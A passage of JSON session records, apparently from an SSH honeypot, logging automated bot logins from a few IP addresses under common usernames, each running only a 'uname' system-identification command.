  "transcript_bytes": 0
 },
 {
  "id": "8e004cae-4fd5-45da-aed5-fea060736fc3",
  "name": "gloomy-glacial-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:00.950083+00:00",
  "ended_at": "2026-08-27T02:51:05.857167+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5260efbd-4491-4915-b2dc-23d420609df7",
  "name": "subtle-shifting-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44058,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:55.469346+00:00",
  "ended_at": "2026-08-27T02:51:03.341377+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "c6480572-b937-4522-9312-5ea17e4e3682",
  "name": "obsidian-fabled-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 51268,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:50:53.951523+00:00",
  "ended_at": "2026-08-27T02:50:54.698864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "257788ba-1cff-48a4-a9d8-4e63132dce7d",
  "name": "crimson-courtly-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46432,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:49.628241+00:00",
  "ended_at": "2026-08-27T02:50:54.862216+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14f9577b-1e65-45a1-9961-1e26e2b106dd",
  "name": "civil-glacial-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:38.005608+00:00",
  "ended_at": "2026-08-27T02:50:42.092830+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e273d00-6611-47a1-818a-2d544b84b67d",
  "name": "bitter-creaky-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50358,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:31.551083+00:00",
  "ended_at": "2026-08-27T02:50:35.207242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01fbbd40-baad-432a-b2cb-1a5f28789af0",
  "name": "jagged-frank-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:28.505065+00:00",
  "ended_at": "2026-08-27T02:50:34.081232+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "355ea2c5-ce0d-4af1-915c-4d723749b952",
  "name": "placid-fringed-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53988,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:19.170196+00:00",
  "ended_at": "2026-08-27T02:50:24.057545+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8bd5933b-4047-49e6-9d80-bb181d770ba7",
  "name": "gleaming-tawny-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50786,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:12.351080+00:00",
  "ended_at": "2026-08-27T02:50:15.606618+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cd888f4-d7c0-46b0-9fa5-ed519fb27a83",
  "name": "loyal-quiet-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:05.782609+00:00",
  "ended_at": "2026-08-27T02:50:09.549307+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "91963856-7acb-4bf2-8ac3-1c29660ec5a8",
  "name": "primal-ruddy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40412,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:59.025888+00:00",
  "ended_at": "2026-08-27T02:50:04.982648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf4670f3-3a05-49eb-8544-84fa977c83fd",
  "name": "vigilant-slender-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:56.967113+00:00",
  "ended_at": "2026-08-27T02:50:01.652308+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c997b46a-3177-413b-a11a-90d90947bc3e",
  "name": "fringed-silent-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:47.095990+00:00",
  "ended_at": "2026-08-27T02:49:49.901479+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce546907-e616-495e-b534-563d960cebbf",
  "name": "rambling-indigo-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35494,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:39.220766+00:00",
  "ended_at": "2026-08-27T02:49:44.441100+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d85429dd-af81-4fbb-b3aa-62376d24f5cf",
  "name": "feathered-gentle-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43902,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:28.103566+00:00",
  "ended_at": "2026-08-27T02:49:32.882350+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fb38d5a4-08ff-4a07-a3d9-c8e2e24c112a",
  "name": "smoky-hazy-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40552,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:27.197909+00:00",
  "ended_at": "2026-08-27T02:49:30.602054+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cdfb7ecc-e5ac-4d6b-a642-95b997c38474",
  "name": "oaken-cheerful-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:15.805198+00:00",
  "ended_at": "2026-08-27T02:49:18.718297+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c949e219-d6a8-4e67-bc1a-3a07b54696e2",
  "name": "glacial-prairie-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:08.173710+00:00",
  "ended_at": "2026-08-27T02:49:13.111379+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3cd5f02b-5a8c-428e-9907-ef449bfebd70",
  "name": "sullen-stormy-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55140,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:05.372109+00:00",
  "ended_at": "2026-08-27T02:49:09.325700+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "64900e95-580d-4dc5-bee7-680678b9cbce",
  "name": "solar-sturdy-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40438,
  "username": "customer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:49:02.048772+00:00",
  "ended_at": "2026-08-27T02:49:04.626272+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69749926-a55d-4c7a-9855-2521e25f0f86",
  "name": "hidden-quaint-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38474,
  "username": "customer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:57.258881+00:00",
  "ended_at": "2026-08-27T02:49:04.627259+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "211fa1ab-7c73-4d8e-87a5-9664047a181c",
  "name": "daring-distant-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38516,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:52.639797+00:00",
  "ended_at": "2026-08-27T02:48:57.839308+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87e94acc-6f43-4862-adf7-885210d047b5",
  "name": "pleasant-calm-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37884,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:40.677183+00:00",
  "ended_at": "2026-08-27T02:48:45.043367+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e587c24-b3c7-404a-b252-7d19bce2495d",
  "name": "freckled-russet-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37972,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:39.383356+00:00",
  "ended_at": "2026-08-27T02:48:44.517846+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f482f5d7-cf01-4b90-91bd-b99741c97811",
  "name": "flinty-downy-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43882,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:48:38.030080+00:00",
  "ended_at": "2026-08-27T02:48:40.620754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bf6ceaa-a23d-413e-88ae-6f72484f20df",
  "name": "knotted-tawny-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39464,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 441,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:35.532695+00:00",
  "ended_at": "2026-08-27T02:48:40.036938+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "486dbf04-d9b2-4823-a647-035218977c5a",
  "name": "zealous-valiant-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39330,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:33.975147+00:00",
  "ended_at": "2026-08-27T02:48:40.621930+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "9d4a7ff1-0db4-48c4-9a67-be4ea4202c4c",
  "name": "candid-alpine-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49644,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 342,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:21.875282+00:00",
  "ended_at": "2026-08-27T02:48:26.373517+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e450ac3-d72d-40b8-ab43-ae108e897605",
  "name": "hollow-keen-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 50542,
  "username": "potok",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:48:19.523553+00:00",
  "ended_at": "2026-08-27T02:48:22.836652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "727ddc7f-7e23-46fe-91bf-85391541e625",
  "name": "mossy-inland-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54044,
  "username": "wang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:19.004903+00:00",
  "ended_at": "2026-08-27T02:48:22.878884+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8255f6b6-ac93-4f29-8c95-c6d12536f31f",
  "name": "orderly-crisp-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53964,
  "username": "potok",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:14.976882+00:00",
  "ended_at": "2026-08-27T02:48:22.835327+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "43658f77-ce2f-48c3-8d7b-988826ec23a1",
  "name": "frugal-freckled-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53424,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:48:02.768426+00:00",
  "ended_at": "2026-08-27T02:48:08.009599+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31c9b484-9c6d-41b2-8eb8-ed39fe47481c",
  "name": "verdant-dapper-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53354,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:57.344695+00:00",
  "ended_at": "2026-08-27T02:48:01.196562+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f51c47b5-6bb6-46f7-97e8-70696de44899",
  "name": "rapid-thawing-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41246,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:46.693359+00:00",
  "ended_at": "2026-08-27T02:47:51.163349+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b9ffe46a-b1b5-488c-89ed-388f4c914f2e",
  "name": "loyal-mellow-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52730,
  "username": "ai",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:41.841072+00:00",
  "ended_at": "2026-08-27T02:47:44.692852+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f193e7f-00ee-4841-8eef-61699b3e71ea",
  "name": "emerald-brave-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52678,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:35.072178+00:00",
  "ended_at": "2026-08-27T02:47:38.782487+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "914d8a40-4373-4598-9568-a714002596e3",
  "name": "sincere-daring-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:29.921780+00:00",
  "ended_at": "2026-08-27T02:47:35.057577+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f45b68fe-843c-4220-9df8-c0a0a5af5a06",
  "name": "restless-stoic-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50562,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:26.776359+00:00",
  "ended_at": "2026-08-27T02:47:31.829262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "371ba7f8-0f72-4119-b2e9-8246f9a3a520",
  "name": "arctic-drifting-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:22.823744+00:00",
  "ended_at": "2026-08-27T02:47:27.420654+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a34994b-281f-4c23-bd9c-0867a57ab12c",
  "name": "marbled-freckled-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37060,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:16.363425+00:00",
  "ended_at": "2026-08-27T02:47:22.164637+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8b83317-1f24-4ba8-bfca-56b69fe0229c",
  "name": "tender-watchful-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37034,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:13.119215+00:00",
  "ended_at": "2026-08-27T02:47:16.380745+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "40037f8c-2ff5-46cb-a32d-2d9ab1964ee5",
  "name": "misty-ivory-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53388,
  "username": "service",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:47:06.235647+00:00",
  "ended_at": "2026-08-27T02:47:08.596007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e710007-aeae-4f00-ae50-088a9c72bb9b",
  "name": "bronzed-twilight-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57184,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:05.392805+00:00",
  "ended_at": "2026-08-27T02:47:10.303193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a586cd34-29f7-4fda-942a-60c96ba01d20",
  "name": "lucid-sandy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41872,
  "username": "service",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:59.882622+00:00",
  "ended_at": "2026-08-27T02:47:08.597417+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "cc005f4f-bba6-4fe5-b836-4cf57ffdd6d9",
  "name": "glacial-salty-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41222,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:46:56.015282+00:00",
  "ended_at": "2026-08-27T02:46:58.947726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "939f4590-a5df-42eb-b93a-19f07f71e3bb",
  "name": "faded-crystal-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46658,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:52.203779+00:00",
  "ended_at": "2026-08-27T02:46:58.949202+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "a0c023be-ab8f-4fe5-aa9d-b4fbd07891fb",
  "name": "scarlet-plucky-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:48.913842+00:00",
  "ended_at": "2026-08-27T02:46:54.953116+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41c662e8-4a12-47df-848f-74c0ebe57697",
  "name": "mighty-dusky-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46596,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:34.070545+00:00",
  "ended_at": "2026-08-27T02:46:39.021440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8bca99f0-d395-4d5b-ba4a-db1518e6020e",
  "name": "reedy-ginger-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56842,
  "username": "chris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:31.573126+00:00",
  "ended_at": "2026-08-27T02:46:35.126408+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1b9df431-baad-4bb2-8345-623246ed2469",
  "name": "keen-diligent-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56814,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:30.656886+00:00",
  "ended_at": "2026-08-27T02:46:36.505356+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
